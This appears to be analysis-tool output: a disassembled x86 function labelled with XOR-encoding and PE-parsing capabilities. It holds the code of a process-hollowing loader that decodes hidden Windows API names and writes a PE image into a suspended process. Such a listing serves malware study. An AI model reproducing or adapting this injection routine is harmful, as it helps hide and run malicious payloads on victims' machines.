Function at 0x4036a5
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x401130]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
sub ebx, ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xdc], eax
or al, 0xff
push 1
mov dword [ebp - 0x14], 0xf0ecfbf5
mov dword [ebp - 0x10], 0xacadf2fb
mov dword [ebp - 0xc], 0xf2f2fab0
mov byte [ebp - 8], bl
mov dword [ebp - 0x20], 0xf2faeaf0
mov dword [ebp - 0x1c], 0xf2fab0f2
mov word [ebp - 0x18], 0xf2
mov word [ebp - 0x5c], 0xecdd
mov byte [ebp - 0x5a], 0xfb
mov byte [ebp - 0x59], al
mov dword [ebp - 0x58], 0xeccefbea
mov dword [ebp - 0x54], 0xedfbfdf1
mov word [ebp - 0x50], 0xdfed
mov byte [ebp - 0x4e], bl
mov dword [ebp - 0x3c], 0xeaecf7c8
mov byte [ebp - 0x38], 0xeb
mov byte [ebp - 0x37], al
mov dword [ebp - 0x36], 0xf2f2dff2
mov word [ebp - 0x32], 0xfdf1
mov byte [ebp - 0x30], bl
mov word [ebp - 0xa8], 0xfbcc
mov byte [ebp - 0xa6], al
mov dword [ebp - 0xa5], 0xf1eccefa
mov dword [ebp - 0xa1], 0xededfbfd
mov dword [ebp - 0x9d], 0xf1f3fbd3
mov word [ebp - 0x99], 0xe7ec
mov byte [ebp - 0x97], bl
mov dword [ebp - 0x80], 0xcaeafbd9
mov word [ebp - 0x7c], 0xecf6
mov byte [ebp - 0x7a], 0xfb
mov byte [ebp - 0x79], al
mov dword [ebp - 0x78], 0xf0f1ddfa
mov dword [ebp - 0x74], 0xeae6fbea
mov byte [ebp - 0x70], bl
mov dword [ebp - 0xd4], 0xf0cbead0
mov byte [ebp - 0xd0], 0xf3
mov byte [ebp - 0xcf], al
mov dword [ebp - 0xce], 0xfbf7c8ee
mov dword [ebp - 0xca], 0xcdf8d1e9
mov dword [ebp - 0xc6], 0xf7eafdfb
mov word [ebp - 0xc2], 0xf0f1
mov byte [ebp - 0xc0], bl
mov dword [ebp - 0x6c], 0xeaecf7c8
mov byte [ebp - 0x68], 0xeb
mov byte [ebp - 0x67], al
mov dword [ebp - 0x66], 0xf2f2dff2
mov dword [ebp - 0x62], 0xe6dbfdf1
mov byte [ebp - 0x5e], bl
mov dword [ebp - 0xbc], 0xeaf7ecc9
mov dword [ebp - 0xb8], 0xf1eccefb
mov dword [ebp - 0xb4], 0xededfbfd
mov dword [ebp - 0xb0], 0xf1f3fbd3
mov word [ebp - 0xac], 0xe7ec
mov byte [ebp - 0xaa], bl
mov dword [ebp - 0x94], 0xcaeafbcd
mov word [ebp - 0x90], 0xecf6
mov byte [ebp - 0x8e], 0xfb
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x8c], 0xf0f1ddfa
mov dword [ebp - 0x88], 0xeae6fbea
mov byte [ebp - 0x84], bl
mov dword [ebp - 0x4c], 0xebedfbcc
mov dword [ebp - 0x48], 0xf6cafbf3
mov word [ebp - 0x44], 0xfbec
mov byte [ebp - 0x42], al
mov word [ebp - 0x41], 0xfa
mov dword [ebp - 0x2c], 0xeaecf7c8
mov byte [ebp - 0x28], 0xeb
mov byte [ebp - 0x27], al
mov dword [ebp - 0x26], 0xfbecd8f2
mov word [ebp - 0x22], 0xfb
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x403be2
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
mov dword [ebp - 0xd8], eax
jne 0x403be2
sub eax, eax
xor byte [ebp + eax - 0x5c], 0x9e
inc eax
cmp eax, 0xe
jb 0x4038d4
sub eax, eax
xor byte [ebp + eax - 0x14], 0x9e
inc eax
cmp eax, 0xc
jb 0x4038e1
push edi
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push 0x44
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0x140]
push ebx
push eax
call fcn.00404f20
sub eax, eax
lea edi, [ebp - 0xfc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x140]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0xdc]
call dword [ebp - 0xe0]
or eax, eax
je 0x403be1
sub eax, eax
xor byte [ebp + eax - 0x3c], 0x9e
inc eax
cmp eax, 0xc
jb 0x403954
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push 4
push 0x1000
push 4
push ebx
call eax
push eax
pop edi
mov dword [ebp - 0xdc], edi
mov dword [edi], 0x10007
sub eax, eax
xor byte [ebp + eax - 0x80], 0x9e
inc eax
cmp eax, 0x10
jb 0x403992
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push edi
push dword [ebp - 0xf8]
call eax
or eax, eax
je 0x403be1
sub eax, eax
xor byte [ebp + eax - 0xa8], 0x9e
inc eax
cmp eax, 0x11
jb 0x4039c7
lea eax, [ebp - 0xa8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push ebx
push 4
lea ecx, [ebp - 0xec]
push ecx
mov ecx, dword [edi + 0xa4]
add ecx, 8
push ecx
push dword [ebp - 0xfc]
call eax
mov edi, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xec]
cmp eax, dword [edi + 0x34]
jne 0x403a61
sub eax, eax
xor byte [ebp + eax - 0x20], 0x9e
inc eax
cmp eax, 9
jb 0x403a1e
sub eax, eax
xor byte [ebp + eax - 0xd4], 0x9e
inc eax
cmp eax, 0x14
jb 0x403a2b
lea eax, [ebp - 0xd4]
push eax
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push dword [ebp - 0xec]
push dword [ebp - 0xfc]
call eax
sub eax, eax
xor byte [ebp + eax - 0x6c], 0x9e
inc eax
cmp eax, 0xe
jb 0x403a63
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0xfc]
call eax
mov dword [ebp - 0xd8], eax
cmp eax, ebx
je 0x403be1
sub eax, eax
xor byte [ebp + eax - 0xbc], 0x9e
inc eax
cmp eax, 0x12
jb 0x403aaa
lea eax, [ebp - 0xbc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push ebx
push dword [edi + 0x54]
mov dword [ebp - 0xe0], eax
push esi
push dword [ebp - 0xd8]
push dword [ebp - 0xfc]
call eax
sub eax, eax
mov dword [ebp - 0xe4], ebx
cmp ax, word [edi + 6]
jae 0x403b4a
mov dword [ebp - 0xe8], ebx
mov eax, dword [esi + 0x3c]
mov ecx, dword [ebp - 0xe8]
add eax, esi
lea eax, [eax + ecx + 0xf8]
mov ecx, dword [eax + 0x14]
push ebx
push dword [eax + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xd8]
add ecx, esi
push ecx
push eax
push dword [ebp - 0xfc]
call dword [ebp - 0xe0]
movzx eax, word [edi + 6]
inc dword [ebp - 0xe4]
add dword [ebp - 0xe8], 0x28
cmp dword [ebp - 0xe4], eax
jl 0x403aff
push ebx
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0xfc]
call dword [ebp - 0xe0]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xd8]
mov edi, dword [ebp - 0xdc]
mov dword [edi + 0xb0], eax
sub eax, eax
xor byte [ebp + eax - 0x94], 0x9e
inc eax
cmp eax, 0x10
jb 0x403b84
lea eax, [ebp - 0x94]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push edi
push dword [ebp - 0xf8]
call eax
sub eax, eax
xor byte [ebp + eax - 0x4c], 0x9e
inc eax
cmp eax, 0xc
jb 0x403bb7
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push dword [ebp - 0xf8]
call eax
pop edi
sub eax, eax
xor byte [ebp + eax - 0x2c], 0x9e
inc eax
cmp eax, 0xb
jb 0x403be4
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [0x409528]
push eax
call dword [0x409524]
push 0x8000
push ebx
push esi
call eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404f9a
leave
ret